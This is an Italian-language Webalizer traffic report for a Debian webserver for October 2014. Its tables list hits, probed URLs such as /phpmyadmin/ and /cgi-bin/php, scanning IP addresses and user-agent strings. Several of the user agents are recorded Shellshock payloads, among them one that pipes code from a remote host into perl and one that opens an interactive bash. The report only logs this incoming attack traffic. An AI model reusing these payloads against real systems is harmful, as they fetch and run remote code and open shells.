Usage statistics for deb6-64-webserver1-atla

Riepilogo per il periodo: Ottobre 2014
Generato 08-nov-2014 06:25 CET

[Statistiche Giornaliere] [Statistiche Orarie] [URL] [Ingressi] [Uscite] [Nomi di Host] [Referrer] [Ricerca] [Browser] [Paesi]

Statistiche Mensili per Ottobre 2014
Contatti 331
File 31
Totale Pagine 325
Totale Visite 105
Total kB Files 265
Total kB In 0
Total kB Out 0
Nomi di Host 97
URL 4
Referrer 4
Browser 11
. Media Max
Contatti Orari 2 118
Contatti Giornalieri 55 152
File Giornalieri 5 12
Pagine Giornaliere 54 148
Sites per Day 16 23
Visite Giornaliere 17 24
kB Files per Day 44 119
kB In per Day 0 0
kB Out per Day 0 0
Contatti per Codice di Risposta
Code 200 - OK 9,37% 31
Code 400 - Bad Request 5,44% 18
Code 404 - Not Found 64,65% 214
Code 408 - Request Timeout 19,64% 65
Code 501 - Not Implemented 0,91% 3

Contatti giornalieri per Ottobre 2014

Statistiche Giornaliere per Ottobre 2014
Giorno Contatti File Pagine Visite Nomi di Host kB F kB In kB Out
26 33 9,97% 5 16,13% 33 10,15% 16 15,24% 15 15,46% 41 15,56% 0 0,00% 0 0,00%
27 152 45,92% 10 32,26% 148 45,54% 17 16,19% 16 16,49% 119 44,79% 0 0,00% 0 0,00%
28 57 17,22% 12 38,71% 56 17,23% 24 22,86% 23 23,71% 67 25,45% 0 0,00% 0 0,00%
29 35 10,57% 2 6,45% 35 10,77% 19 18,10% 18 18,56% 24 8,94% 0 0,00% 0 0,00%
30 36 10,88% 2 6,45% 35 10,77% 19 18,10% 20 20,62% 11 4,08% 0 0,00% 0 0,00%
31 18 5,44% 0 0,00% 18 5,54% 10 9,52% 10 10,31% 3 1,18% 0 0,00% 0 0,00%

Contatti orari per Ottobre 2014

Statistiche Orarie per Ottobre 2014
Ora Contatti File Pagine kB F kB In kB Out
Media Totale Media Totale Media Totale Media Totale Media Totale Media Totale
0 0 4 1,21% 0 0 0,00% 0 4 1,23% 0 2 0,74% 0 0 0,00% 0 0 0,00%
1 1 11 3,32% 0 3 9,68% 1 11 3,38% 3 19 7,05% 0 0 0,00% 0 0 0,00%
2 1 8 2,42% 0 0 0,00% 1 8 2,46% 1 4 1,44% 0 0 0,00% 0 0 0,00%
3 1 10 3,02% 0 3 9,68% 1 10 3,08% 1 5 1,94% 0 0 0,00% 0 0 0,00%
4 1 7 2,11% 0 2 6,45% 1 7 2,15% 3 17 6,48% 0 0 0,00% 0 0 0,00%
5 0 1 0,30% 0 0 0,00% 0 0 0,00% 0 0 0,17% 0 0 0,00% 0 0 0,00%
6 1 10 3,02% 0 0 0,00% 1 10 3,08% 1 5 1,85% 0 0 0,00% 0 0 0,00%
7 0 5 1,51% 0 0 0,00% 0 4 1,23% 0 2 0,91% 0 0 0,00% 0 0 0,00%
8 20 125 37,76% 1 8 25,81% 20 121 37,23% 19 111 41,94% 0 0 0,00% 0 0 0,00%
9 4 26 7,85% 0 0 0,00% 4 26 8,00% 2 9 3,54% 0 0 0,00% 0 0 0,00%
10 1 7 2,11% 0 2 6,45% 1 7 2,15% 3 18 6,61% 0 0 0,00% 0 0 0,00%
11 1 9 2,72% 0 1 3,23% 1 9 2,77% 0 0 0,17% 0 0 0,00% 0 0 0,00%
12 1 9 2,72% 0 0 0,00% 1 9 2,77% 0 3 1,10% 0 0 0,00% 0 0 0,00%
13 2 13 3,93% 0 1 3,23% 2 13 4,00% 0 3 1,11% 0 0 0,00% 0 0 0,00%
14 1 7 2,11% 0 0 0,00% 1 7 2,15% 0 2 0,94% 0 0 0,00% 0 0 0,00%
15 1 7 2,11% 0 1 3,23% 1 7 2,15% 0 1 0,52% 0 0 0,00% 0 0 0,00%
16 1 11 3,32% 0 0 0,00% 1 11 3,38% 0 2 0,74% 0 0 0,00% 0 0 0,00%
17 1 9 2,72% 0 4 12,90% 1 9 2,77% 5 31 11,69% 0 0 0,00% 0 0 0,00%
18 1 8 2,42% 0 1 3,23% 1 8 2,46% 0 2 0,90% 0 0 0,00% 0 0 0,00%
19 2 17 5,14% 0 3 9,68% 2 17 5,23% 3 21 7,89% 0 0 0,00% 0 0 0,00%
20 1 8 2,42% 0 0 0,00% 1 8 2,46% 0 1 0,49% 0 0 0,00% 0 0 0,00%
21 1 7 2,11% 0 0 0,00% 1 7 2,15% 0 0 0,00% 0 0 0,00% 0 0 0,00%
22 0 3 0,91% 0 0 0,00% 0 3 0,92% 0 1 0,20% 0 0 0,00% 0 0 0,00%
23 1 9 2,72% 0 2 6,45% 1 9 2,77% 1 4 1,58% 0 0 0,00% 0 0 0,00%

Top 4 di 4 URL Totali
# Contatti kB F kB In kB Out URL
1 16 4,83% 122 45,95% 0 0,00% 0 0,00% /phpmyadmin/
2 13 3,93% 6 2,18% 0 0,00% 0 0,00% /
3 1 0,30% 8 3,20% 0 0,00% 0 0,00% /cgi-bin/php
4 1 0,30% 8 3,20% 0 0,00% 0 0,00% /cgi-bin/php5

Top 4 di 4 URL Totali Per kB F
# Contatti kB F kB In kB Out URL
1 16 4,83% 122 45,95% 0 0,00% 0 0,00% /phpmyadmin/
2 1 0,30% 8 3,20% 0 0,00% 0 0,00% /cgi-bin/php
3 1 0,30% 8 3,20% 0 0,00% 0 0,00% /cgi-bin/php5
4 13 3,93% 6 2,18% 0 0,00% 0 0,00% /

Top 2 di 2 Pagine in Ingresso Totali
# Contatti Visite URL
1 13 3,93% 12 60,00% /
2 16 4,83% 8 40,00% /phpmyadmin/

Top 2 di 2 Pagine in Uscita Totali
# Contatti Visite URL
1 13 3,93% 8 50,00% /
2 16 4,83% 8 50,00% /phpmyadmin/

Top 30 di 97 Nomi di Host Totali
# Contatti File kB F kB In kB Out Visite Nomi di Host
1 115 34,74% 4 12,90% 78 29,52% 0 0,00% 0 0,00% 1 0,95% 91.213.59.150
2 16 4,83% 16 51,61% 122 45,95% 0 0,00% 0 0,00% 8 7,62% 220.191.210.74
3 6 1,81% 0 0,00% 3 1,05% 0 0,00% 0 0,00% 1 0,95% 178.239.62.108
4 6 1,81% 0 0,00% 0 0,00% 0 0,00% 0 0,00% 1 0,95% 212.19.96.224
5 6 1,81% 3 9,68% 3 1,15% 0 0,00% 0 0,00% 1 0,95% 31.222.163.233
6 5 1,51% 0 0,00% 0 0,00% 0 0,00% 0 0,00% 1 0,95% 2.229.20.182
7 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 114.35.81.56
8 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 116.113.95.162
9 4 1,21% 0 0,00% 2 0,79% 0 0,00% 0 0,00% 1 0,95% 116.58.235.188
10 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 118.163.233.38
11 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 118.97.213.144
12 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 123.30.241.175
13 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 177.156.136.4
14 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 177.234.7.34
15 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 178.32.43.157
16 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 178.33.188.189
17 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 186.115.216.59
18 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 187.214.10.189
19 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 192.173.147.42
20 4 1,21% 0 0,00% 2 0,79% 0 0,00% 0 0,00% 1 0,95% 203.150.113.100
21 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 203.158.166.3
22 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 211.21.221.15
23 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 211.67.208.79
24 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 220.135.3.99
25 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 221.233.247.239
26 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 222.181.187.87
27 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 84.123.161.243
28 4 1,21% 0 0,00% 0 0,00% 0 0,00% 0 0,00% 1 0,95% 95.74.141.196
29 3 0,91% 0 0,00% 0 0,00% 0 0,00% 0 0,00% 1 0,95% 84.253.172.102
30 3 0,91% 0 0,00% 1 0,36% 0 0,00% 0 0,00% 1 0,95% 89.96.63.46

Top 10 di 97 Nomi di Host Totali Per kB F
# Contatti File kB F kB In kB Out Visite Nomi di Host
1 16 4,83% 16 51,61% 122 45,95% 0 0,00% 0 0,00% 8 7,62% 220.191.210.74
2 115 34,74% 4 12,90% 78 29,52% 0 0,00% 0 0,00% 1 0,95% 91.213.59.150
3 6 1,81% 3 9,68% 3 1,15% 0 0,00% 0 0,00% 1 0,95% 31.222.163.233
4 6 1,81% 0 0,00% 3 1,05% 0 0,00% 0 0,00% 1 0,95% 178.239.62.108
5 4 1,21% 0 0,00% 2 0,79% 0 0,00% 0 0,00% 1 0,95% 203.150.113.100
6 4 1,21% 0 0,00% 2 0,79% 0 0,00% 0 0,00% 1 0,95% 116.58.235.188
7 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 114.35.81.56
8 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 116.113.95.162
9 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 118.163.233.38
10 4 1,21% 0 0,00% 2 0,74% 0 0,00% 0 0,00% 1 0,95% 118.97.213.144

Top 4 di 4 Referrer Totali
# Contatti Referrer
1 210 63,44% - (Direct Request)
2 112 33,84% ()
3 8 2,42% http://95.174.9.168/phpmyadmin/index.php
4 1 0,30% http://www.baidu.com/

Top 11 di 11 Browser Totali
# Contatti Browser
1 112 33,84% () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
2 16 4,83% Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
3 3 0,91% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)
4 2 0,60% Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
5 1 0,30% () { :; }; echo -e \"Content-Type: text/plain\\n\"; i=is333h;c=p555n;echo $c$i;exit
6 1 0,30% () { ignored;};/bin/bash -i
7 1 0,30% Morfeus Fucking Scanner
8 1 0,30% Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CL
9 1 0,30% Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.3072; .NET CLR 2.0.50727; .N
10 1 0,30% Robocop
11 1 0,30% curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2

Usage by Country for Ottobre 2014

Top 1 di 1 Total Countries
# Contatti File kB F kB In kB Out Paese
1 331 100,00% 31 100,00% 265 100,00% 0 0,00% 0 0,00% Unresolved/Unknown


Generated by Webalizer Version 2.23